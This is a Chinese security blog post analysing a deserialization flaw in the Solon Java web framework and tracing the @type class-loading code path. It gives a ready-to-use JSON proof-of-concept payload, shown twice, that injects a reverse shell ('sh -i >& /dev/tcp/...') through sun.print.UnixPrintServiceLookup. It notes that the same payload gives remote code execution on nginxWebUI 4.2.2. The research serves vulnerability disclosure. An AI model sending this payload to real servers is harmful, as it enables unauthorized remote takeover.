freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

国产web框架Solon
初音 2024-08-25 16:42:39 102596

前言

上次看到星球有提到过solon这个国产的web框架,⾃⼰后⾯⼜看了下,发现在2.5.11及之下的版本对
json的解析都有类似fastjosn的特点,可以达成在linux下&jdk环境中的RCE

环境搭建

直接使⽤官⽅的⽰例 https://solon.noear.org/start/build.do?
artifact=helloworld_jdk8&project=maven&javaVer=1.8
修改pom.xml的solon-parent版本为2.5.11(存在漏洞的版本)1724571362_66cadee2bbaecbf122421.png!small

然后注意必须要在linux&&jdk环境下启动
漏洞触发的条件很简单,只要有接收参数的任意路由即可

POC

直接post发送如下json数据即可RCE

// 反弹shell
{
     "name": {
          "@type": "sun.print.UnixPrintServiceLookup",
          "lpcFirstCom": [
              ";sh -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1;",
              ";sh -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1;"
         ]
     }
}

漏洞分析

先看看solon是怎么处理json数据的参数绑定的
直接在hello路由下断点,然后往前跟踪调⽤栈

1724571729_66cae0516fc35605f6ebc.png!small

我们直接发送json格式的数据

1724571833_66cae0b920356ccf15de8.png!small

从这⾥往上找参数绑定的调⽤栈

可以看到在 org.noear.solon.core.handle.ActionExecuteHandlerDefault#executeHandle 这⾥调⽤
执⾏了    mWrap.invokeByAspect(obj, args.toArray())    从⽽调⽤我们⾃定义的
com.example.demo.DemoController#hello   ⽅法,⽽在上⾯的29⾏执⾏
buildArgs(ctx, obj, mWrap) ,从名⼦就能看出来是⽤于参数绑定

我们跟进这个参数绑定的⽅法

buildArgs中先是会对接收到的数据进⾏ changeBody 处理
当我们传的是json数据时会做⼀个json解析,得到⼀个ONode对象

后续回到 buildArgs 则是对hello路由⽅法的参数取得类型,并根据类型做相应的处理
后续来到 this.changeValue 这⾥

有⼀些判断,检验是否有 hello ⽅法对应的参数

继续跟进来到关键的 toObject ⽅法中
⼀路跟进来到 org.noear.snack.to.ObjectToer#analyse 中,这⾥会对我们的 ONode 对
象做⼀些特殊处理
这⾥有两个点要过,由于我们传⼊的json是 {"name":"pankas"} ,所以这⾥流程会⾛到正常的字
符串处理, clz 的值为 java.lang.String我们发送这样的json看看后续会怎么处理

{"name":{}}

修改后来到 clz = this.getTypeByNode(ctx, o, clz);

跟进,在 org.noear.snack.to.ObjectToer#getTypeByNode ⽅法中可以看到,当类型为
Object 时,会取其中键为 @type 的值来进⾏⼀个类的加载

这⾥我们先随便给⼀个类看看

{"name":{"@type":"com.sun.rowset.JdbcRowSetImpl"}}

可以看到确实进⾏了⼀个类加载

后续看看是怎么处理这个 clz 的
后续在⼀个 switch case后,会来到⼀个 Object的处理位置

...
...

case Object: o.remove(ctx.options.getTypePropertyName()); if (Properties.class.isAssignableFrom(clz)) { return this.analyseProps(ctx, o, (Properties)rst, clz, type, genericInfo); } else if (Map.class.isAssignableFrom(clz)) { return this.analyseMap(ctx, o, clz, type, genericInfo); } else { if (StackTraceElement.class.isAssignableFrom(clz)) { String declaringClass = o.get("declaringClass").getString(); if (declaringClass == null) { declaringClass = o.get("className").getString(); }
return new StackTraceElement(declaringClass, o.get("methodName").getString(), o.get("fileName").getString(), o.get("lineNumber").getInt()); }
if (type instanceof ParameterizedType) { genericInfo = GenericUtil.getGenericInfo(type); }
return this.analyseBean(ctx, o, rst, clz, type, genericInfo); }
... ...

这⾥我们直接来到最后的 this.analyseBean(ctx, o, rst, clz, type,
genericInfo);
这⾥就能发现对上⾯获取到的 clz 进⾏看实例化

后续会判断我们传⼊的对象中是否有对应属性的值,如果存在则会进⾏⼀个赋值

赋值这⾥关键要看⽬标类中有哪些属性,不同于fastjson的是这⾥赋值并不会调⽤对象的 setter
或 getter ⽅法
这⾥⽬标类的获取⾸先也是从缓存中获取,先来看看第⼀次加载⽬标类是如何处理包装的

跟进 ClassWrap.get(clz)
在 ClassWrap 的构造⽅法中会调⽤ this.scanAllFields(clz, map::containsKey,
map::put) 对⽬标类进⾏⼀个扫描

/**
  * 扫描⼀个类的所有字段
*/
private void scanAllFields(Class<?> clz, Predicate<String> checker,
BiConsumer<String, FieldWrap> consumer) {
        if (clz == null) {
            return;
        }

        for (Field f : clz.getDeclaredFields()) {
              int mod = f.getModifiers();

              if (!Modifier.isStatic(mod)
                            && !Modifier.isTransient(mod)) {

                if(_isMemberClass && f.getName().equals("this$0")){
                    continue;
                }
                if (checker.test(f.getName()) == false) {
                   _recordable &= Modifier.isFinal(mod);
                  consumer.accept(f.getName(), new FieldWrap(clz, f,
Modifier.isFinal(mod)));
                   }
              }
       }
      Class<?> sup = clz.getSuperclass();
      if (sup != Object.class) {
          scanAllFields(sup, checker, consumer);
     }
}

可以看到,我们最终所获得的 Field 是⽬标类中的⾮静态变量
继续往下,看看是怎么对我们所创建的对象进⾏赋值的

...
...

for (FieldWrap f : clzWrap.fieldAllWraps()) {
      if (f.isDeserialize() == false) {
          continue;
      }
      String fieldK = f.getName();

      if (excNames != null && excNames.contains(fieldK)) {
          continue;
      }


      if (o.contains(fieldK)) {
          Class fieldT = f.type;
          Type fieldGt = f.genericType;

           if (f.readonly) {
               analyseBeanOfValue(fieldK, fieldT, fieldGt, ctx, o,
f.getValue(rst), genericInfo);
            } else {


                Object val = analyseBeanOfValue(fieldK, fieldT, fieldGt, ctx, o,
f.getValue(rst), genericInfo);

                  if (val == null) {
                      //null string 是否以 空字符处理
                      if (ctx.options.hasFeature(Feature.StringFieldInitEmpty) &&
f.type == String.class) {
                               val = "";
                           }
                  }
                 f.setValue(rst, val, disSetter);
            }
       }
 }

...
...

先随便给个值 {"name":
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSource":"pankas"}}

(中间还有⼀些递归处理json对象嵌套流程省略,代码很清晰,可以⾃⼰看看)
进⼊ f.setValue(rst, val, disSetter);
这⾥也是⽐较简单,如果有对应的 setter 则⽤对应的 setter 进⾏赋值,没有则使⽤反射进⾏赋值

所以整个json的解析和fastjson是⽐较相似的,那为什么不能使⽤fastjson的payload直接打呢
原因是这⾥赋值的前提条件时⽬标对象必须要有对应的字段才可以
⽐如说这⾥经典的fastjson的payload

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099
/badClassName", "autoCommit":true}

由于⽬标对象中并没有 dataSourceName 或 autoCommit 属性,所以并不会调⽤其 setter
⽅法,所以这算是⼀个很⼤的限制。
那有没有能利⽤的类呢,刚好有⼀个,就是 sun.print.UnixPrintServiceLookup 这个类,
关于这个类⽹上都有很多的资料了,这⾥不过多做解释
sun.print.UnixPrintServiceLookup 在实例化时会开启⼀个线程循环执⾏
UnixPrintServiceLookup.this.refreshServices();

在linux下会执⾏到 this.getDefaultPrinterNameBSD(); ⽅法

其中存在⼤量的命令拼接及执⾏操作

所以这⾥我们直接覆盖修改 lpcFirstCom 属性即可
最终我们的payload就是

// 反弹shell
{
        "name": {
                 "@type": "sun.print.UnixPrintServiceLookup",
                 "lpcFirstCom": [
                       ";sh -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1;",
                       ";sh -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1;"
                ]
        }
}

最新版 nginxWebUI(v4.2.2) 前台RCE

后⾯⼜看了下有哪些使⽤了⽐较⽼版本的solon,发现nginxWebUI 的solon版本是2.4.5,刚好是存在
漏洞的版本。
但使⽤官⽅的docker镜像环境发现RCE失败了,原因是默认是使⽤jre环境,找不到
sun.print.UnixPrintServiceLookup 这个类,所以限制其实还蛮⼤的(看看其他师傅们有
没有办法解决这个问题)

所以这个洞也只能是在jdk环境下启动才⾏

使⽤jdk环境下启动nginxWebUi发现就能正常RCE了

# 漏洞 # 网络安全 # 漏洞分析 # 框架
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 初音 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
初音 LV.3
这家伙太懒了,还未填写个人描述!
  • 4 文章数
  • 6 关注者
浅谈JspWebshell之编码
2024-11-26
SVM算法在SQL注入攻击语义分析中的应用
2024-10-28
一文深度学习java内存马
2024-10-05
文章目录